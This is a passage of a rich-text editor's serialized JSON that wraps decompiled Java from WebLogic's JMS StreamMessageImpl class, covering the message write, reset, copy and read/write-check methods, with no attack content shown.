{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cLu0-1677058246398&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bbIS-1677058246397&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.writeShort((Short)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;31lU-1677058246400&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GiDp-1677058246399&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CSg8-1677058246402&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Scf7-1677058246401&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else if (var1 instanceof Character) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VTvO-1677058246404&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gwqt-1677058246403&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeChar((Character)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bHRn-1677058246406&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qUix-1677058246405&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else if (var1 instanceof String) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Dxy-1677058246408&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bAzn-1677058246407&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeString((String)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0fua-1677058246410&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vJ5j-1677058246409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else if (var1 instanceof byte[]) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tUqg-1677058246412&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oMpN-1677058246411&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeBytes((byte[])((byte[])var1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v6Pd-1677058246414&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B7tS-1677058246413&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hyDV-1677058246416&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YXoM-1677058246415&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (var1 != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tkkH-1677058246418&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B6EL-1677058246417&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new MessageFormatException(\&#34;Invalid Type: \&#34; + var1.getClass().getName());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ev2h-1677058246420&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wVYr-1677058246419&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hPET-1677058246422&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CDWC-1677058246421&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ecdg-1677058246424&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LQH2-1677058246423&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeType((byte)12);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AY5W-1677058246426&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GNPU-1677058246425&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pRpy-1677058246428&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AmW5-1677058246427&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EExf-1677058246436&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eOFu-1677058246429&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y0m8-1677058246438&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WUm5-1677058246437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fVBR-1677058246440&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oPuK-1677058246439&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void reset() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aEiP-1677058246442&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jrm1-1677058246441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.setBodyWritable(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tnZ5-1677058246444&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BeCq-1677058246443&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.bis != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JQCB-1677058246446&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vPdw-1677058246445&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6fVx-1677058246448&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gu37-1677058246447&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.bis.reset();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jphU-1677058246450&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cCBz-1677058246449&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (IOException var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tmve-1677058246452&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MaIj-1677058246451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                throw new weblogic.jms.common.JMSException(this.streamReadError(217), var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vdGV-1677058246454&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3IZh-1677058246453&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rspj-1677058246456&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hJW9-1677058246455&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else if (this.bos != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EIT9-1677058246458&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sKK9-1677058246457&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.payload = (PayloadStream)this.bos.moveToPayload();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fH54-1677058246460&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jAoZ-1677058246459&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos = null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;87bC-1677058246463&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7Nri-1677058246462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8TFL-1677058246465&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TTSr-1677058246464&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m2NM-1677058246467&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uHw3-1677058246466&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.copyOnWrite = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y7rW-1677058246469&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kF53-1677058246468&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GNnR-1677058246471&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zCzj-1677058246470&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;knzB-1677058246473&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X5rh-1677058246472&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public MessageImpl copy() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qof7-1677058246475&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JyOx-1677058246474&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        StreamMessageImpl var1 = new StreamMessageImpl();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FZCK-1677058246477&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yc52-1677058246476&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        super.copy(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3Mnz-1677058246479&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EVVm-1677058246478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.bos != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rekV-1677058246481&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eAEb-1677058246480&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.payload = this.bos.copyPayloadWithoutSharedStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7B24-1677058246483&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xQG9-1677058246482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else if (this.payload != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oHnA-1677058246485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gkNG-1677058246484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.payload = this.payload.copyPayloadWithoutSharedStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z0Yw-1677058246487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uLcI-1677058246486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h2Yk-1677058246489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MFl7-1677058246488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bPxe-1677058246491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L5yB-1677058246490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var1.copyOnWrite = this.copyOnWrite = true;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8cd5-1677058246493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QqJ8-1677058246492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var1.setBodyWritable(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KNJU-1677058246495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4fnP-1677058246494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var1.setPropertiesWritable(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8JHp-1677058246497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qZUv-1677058246496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x8rX-1677058246499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uhLl-1677058246498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XYw8-1677058246501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bfkP-1677058246500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1v57-1677058246503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8kFd-1677058246502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void checkWritable() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BZw3-1677058246505&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OTKY-1677058246504&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        super.writeMode();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t1pG-1677058246507&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1mVF-1677058246506&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.bos == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VW4m-1677058246509&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8UgK-1677058246508&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos = PayloadFactoryImpl.createOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R4a8-1677058246511&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tLdI-1677058246510&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else if (this.copyOnWrite) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ReWg-1677058246513&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4qw2-1677058246512&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.copyBuffer();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K5qj-1677058246515&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0yy9-1677058246514&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.copyOnWrite = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R4fB-1677058246517&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fus0-1677058246516&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rX18-1677058246519&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;au48-1677058246518&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZObw-1677058246521&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bu0J-1677058246520&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DeP8-1677058246523&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XnmS-1677058246522&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CDjB-1677058246525&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vguT-1677058246524&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void checkReadable() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JpjJ-1677058246527&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vBDT-1677058246526&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        super.readMode();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4ryz-1677058246529&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iYFf-1677058246528&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.payload == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z0Cw-1677058246531&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QlMk-1677058246530&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(500));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qGJB-1677058246533&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ORSq-1677058246532&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8gcb-1677058246535&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;49jW-1677058246534&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (this.bis == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h3tC-1677058246537&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WHiS-1677058246536&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y5Wf-1677058246540&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A5XT-1677058246538&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.bis = this.payload.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cTyj-1677058246542&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hHm1-1677058246541&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (IOException var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9NHd-1677058246544&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hKSk-1677058246543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new weblogic.jms.common.JMSException(this.streamReadError(510), var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GvBK-1677058246546&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n9LL-1677058246545&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                